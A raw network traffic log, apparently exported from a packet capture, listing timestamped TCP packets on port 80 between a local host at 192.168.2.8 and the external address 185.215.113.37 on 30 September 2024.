Sep 30, 2024 12:33:21.687153101 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687151909 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687151909 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687165976 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687176943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687189102 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687195063 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687195063 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687197924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687208891 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687215090 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687221050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687231064 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687247038 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687256098 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687256098 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687258959 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687268972 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687277079 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687287092 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687292099 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687303066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687304974 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687306881 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687311888 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687318087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687323093 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687328100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687331915 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687338114 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687341928 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687345982 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687350035 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687433004 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687447071 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687458038 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687468052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687479019 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687483072 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687494040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687505007 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687506914 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687515020 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687525988 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687527895 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687567949 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687567949 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687700033 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687709093 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687721014 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687727928 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687731028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687732935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687738895 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687747955 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687755108 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687758923 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687769890 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687778950 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687779903 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687788963 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687798977 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687800884 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687809944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687824965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687829018 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687836885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687846899 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687849045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687859058 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687869072 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687875032 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687875032 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687890053 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687895060 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687901974 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687912941 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687922955 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687922955 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687933922 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687943935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.687964916 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.687964916 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688019037 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688030958 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688040972 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688050032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688059092 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688060045 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688077927 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688088894 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688098907 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688108921 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688108921 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688108921 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688108921 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688117027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688127995 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688133001 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688138008 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688147068 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688158035 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688160896 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688160896 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688168049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688177109 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688186884 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688195944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688208103 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688208103 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688208103 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688218117 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688227892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688235998 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688239098 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688250065 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688260078 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688270092 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688273907 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688273907 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688280106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688292980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688306093 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688306093 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688353062 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688353062 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688366890 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688478947 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688575029 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688586950 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688596010 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688606977 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688616991 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688627005 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688631058 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688637018 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688647032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688657045 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688667059 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688667059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688667059 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688678026 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688688040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688693047 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688702106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688705921 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688705921 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688713074 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688726902 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688730001 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688743114 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688752890 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688756943 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688756943 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688762903 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688774109 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688779116 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688783884 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688795090 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688798904 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688806057 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688816071 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688818932 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688826084 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688836098 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688838005 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688846111 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688857079 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688857079 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688868046 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688875914 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688878059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688888073 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688898087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688903093 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688905001 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688905001 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688911915 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688922882 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688931942 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688942909 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688942909 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688942909 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.688951969 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.688973904 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.689081907 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.689097881 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.692265034 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693101883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693114042 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693130016 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693139076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693145037 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693156004 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693218946 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693223953 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693224907 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693233967 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693248034 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693259954 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693273067 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693321943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693335056 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693340063 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693346024 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693351030 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693361998 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693372011 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693382978 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693387985 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693387985 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693393946 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693435907 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693496943 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693516970 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693545103 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693561077 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693571091 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693581104 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693583965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693594933 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693598986 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693605900 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693617105 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693619967 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693627119 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693633080 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693641901 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693658113 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693658113 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693667889 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693679094 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693689108 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693698883 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693698883 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693705082 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693718910 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693730116 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693742037 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693751097 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693754911 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693754911 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693762064 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693772078 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693782091 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693782091 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693783045 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693795919 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693823099 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693823099 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693861961 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693875074 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693886995 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693898916 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693900108 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693911076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693922997 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693924904 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693933964 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693945885 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693947077 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693958998 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693969965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.693979025 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693979025 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.693983078 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.694010019 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.694020033 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.694034100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.694042921 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.694045067 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.694056034 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.694066048 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.694083929 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.694109917 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.694269896 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.704123974 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.704161882 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.704170942 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.704237938 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.734591961 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.734632969 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.734642029 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.734672070 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.734757900 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.736097097 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.736108065 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.736116886 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.736121893 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.736202955 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.736202955 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.736757040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.736768007 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.736778975 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.736788034 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.736851931 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.736851931 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.736864090 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.736875057 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.736881018 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.737026930 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.737390041 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.737415075 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.737425089 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.737497091 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.737498999 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.737509012 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.737519979 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.737555981 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.737585068 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.739039898 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.739058971 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.739068985 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.739099026 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.739331007 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.739990950 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.740000963 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.740011930 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.740061998 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.740072966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.740081072 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.740082026 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.740082026 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.740118980 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.740191936 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.740319967 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.740329981 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.740346909 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.740356922 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.740386963 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.740391016 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:21.740396976 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:21.740412951 CEST	80	49705	185.215.113.37	192.168.2.8
